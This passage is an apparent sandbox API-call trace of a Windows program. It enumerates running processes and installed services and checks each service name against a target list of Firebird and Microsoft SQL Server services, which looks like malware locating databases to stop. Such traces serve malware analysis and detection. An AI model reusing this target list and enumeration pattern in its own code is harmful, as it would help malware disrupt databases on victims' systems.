[0294.489] lstrlenW (lpString="svchost.exe") returned 11 [0294.489] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.489] lstrlenW (lpString="svchost.exe") returned 11 [0294.490] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.490] lstrlenW (lpString="svchost.exe") returned 11 [0294.490] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.491] lstrlenW (lpString="spoolsv.exe") returned 11 [0294.491] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.492] lstrlenW (lpString="svchost.exe") returned 11 [0294.492] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.493] lstrlenW (lpString="audiodg.exe") returned 11 [0294.493] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0294.494] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0294.494] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0294.495] lstrlenW (lpString="Memory Compression") returned 18 [0294.495] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0294.496] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0294.496] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.497] lstrlenW (lpString="sihost.exe") returned 10 [0294.497] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.498] lstrlenW (lpString="svchost.exe") returned 11 [0294.498] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.499] lstrlenW (lpString="taskhostw.exe") returned 13 [0294.499] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0294.499] lstrlenW (lpString="msoia.exe") returned 9 [0294.499] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.695] lstrlenW (lpString="explorer.exe") returned 12 [0294.695] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.696] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0294.696] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.697] lstrlenW (lpString="SearchUI.exe") returned 12 [0294.697] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.698] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0294.698] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0294.699] lstrlenW (lpString="load0.exe") returned 9 [0294.699] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.700] lstrlenW (lpString="svchost.exe") returned 11 [0294.700] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0294.700] CloseHandle (hObject=0x10c8) returned 1 [0294.700] Sleep (dwMilliseconds=0x1f4) [0295.398] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd940 [0295.399] EnumServicesStatusExW (in: hSCManager=0x7bd940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0295.399] GetLastError () returned 0xea [0295.399] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0295.399] EnumServicesStatusExW (in: hSCManager=0x7bd940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0295.400] CloseServiceHandle (hSCObject=0x7bd940) returned 1 [0295.400] lstrlenW (lpString="Appinfo") returned 7 [0295.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0295.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0295.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0295.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0295.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0295.401] lstrlenW (lpString="AppXSvc") returned 7 [0295.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0295.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0295.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0295.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0295.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0295.401] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0295.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0295.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0295.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0295.401] lstrlenW (lpString="Audiosrv") returned 8 [0295.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0295.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0295.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0295.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0295.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0295.401] lstrlenW (lpString="BFE") returned 3 [0295.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0295.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0295.401] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0295.401] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0295.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0295.401] lstrlenW (lpString="BITS") returned 4 [0295.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0295.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0295.402] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0295.402] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0295.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0295.402] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0295.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.402] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0295.402] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0295.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0295.402] lstrlenW (lpString="CDPSvc") returned 6 [0295.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0295.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0295.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0295.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0295.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0295.402] lstrlenW (lpString="ClickToRunSvc") returned 13 [0295.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.402] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0295.402] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0295.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0295.402] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0295.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0295.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0295.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0295.403] lstrlenW (lpString="CryptSvc") returned 8 [0295.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0295.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0295.403] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0295.403] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0295.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0295.403] lstrlenW (lpString="DcomLaunch") returned 10 [0295.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0295.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0295.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0295.403] lstrlenW (lpString="DeviceAssociationService") returned 24 [0295.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0295.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0295.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0295.403] lstrlenW (lpString="Dhcp") returned 4 [0295.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0295.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0295.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0295.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0295.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0295.403] lstrlenW (lpString="Dnscache") returned 8 [0295.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0295.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0295.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0295.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0295.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0295.404] lstrlenW (lpString="DPS") returned 3 [0295.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0295.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0295.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0295.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0295.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0295.404] lstrlenW (lpString="DusmSvc") returned 7 [0295.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0295.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0295.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0295.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0295.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0295.404] lstrlenW (lpString="EventLog") returned 8 [0295.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0295.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0295.404] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0295.404] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0295.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0295.404] lstrlenW (lpString="EventSystem") returned 11 [0295.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0295.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0295.404] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0295.404] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0295.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0295.404] lstrlenW (lpString="FontCache") returned 9 [0295.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0295.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0295.405] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0295.405] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0295.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0295.405] lstrlenW (lpString="gpsvc") returned 5 [0295.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0295.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0295.405] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0295.405] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0295.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0295.405] lstrlenW (lpString="iphlpsvc") returned 8 [0295.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.405] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0295.405] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0295.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0295.405] lstrlenW (lpString="KeyIso") returned 6 [0295.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0295.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0295.405] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0295.405] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0295.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0295.405] lstrlenW (lpString="LanmanServer") returned 12 [0295.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0295.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0295.405] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0295.405] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0295.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0295.406] lstrlenW (lpString="LanmanWorkstation") returned 17 [0295.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0295.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0295.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0295.406] lstrlenW (lpString="lfsvc") returned 5 [0295.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0295.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0295.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0295.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0295.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0295.406] lstrlenW (lpString="lmhosts") returned 7 [0295.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0295.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0295.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0295.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0295.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0295.406] lstrlenW (lpString="LSM") returned 3 [0295.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0295.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0295.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0295.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0295.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0295.406] lstrlenW (lpString="MpsSvc") returned 6 [0295.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0295.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0295.406] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0295.406] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0295.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0295.407] lstrlenW (lpString="NcbService") returned 10 [0295.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0295.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0295.407] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0295.407] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0295.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0295.407] lstrlenW (lpString="netprofm") returned 8 [0295.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0295.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0295.407] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0295.407] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0295.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0296.331] lstrlenW (lpString="NgcSvc") returned 6 [0296.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0296.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0296.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0296.331] lstrlenW (lpString="NlaSvc") returned 6 [0296.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0296.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0296.331] lstrlenW (lpString="nsi") returned 3 [0296.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0296.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0296.331] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0296.331] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0296.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0296.331] lstrlenW (lpString="PcaSvc") returned 6 [0296.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0296.331] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0296.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0296.331] lstrlenW (lpString="PlugPlay") returned 8 [0296.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0296.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0296.331] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0296.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0296.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0296.332] lstrlenW (lpString="Power") returned 5 [0296.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0296.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0296.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0296.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0296.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0296.332] lstrlenW (lpString="ProfSvc") returned 7 [0296.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0296.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0296.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0296.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0296.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0296.332] lstrlenW 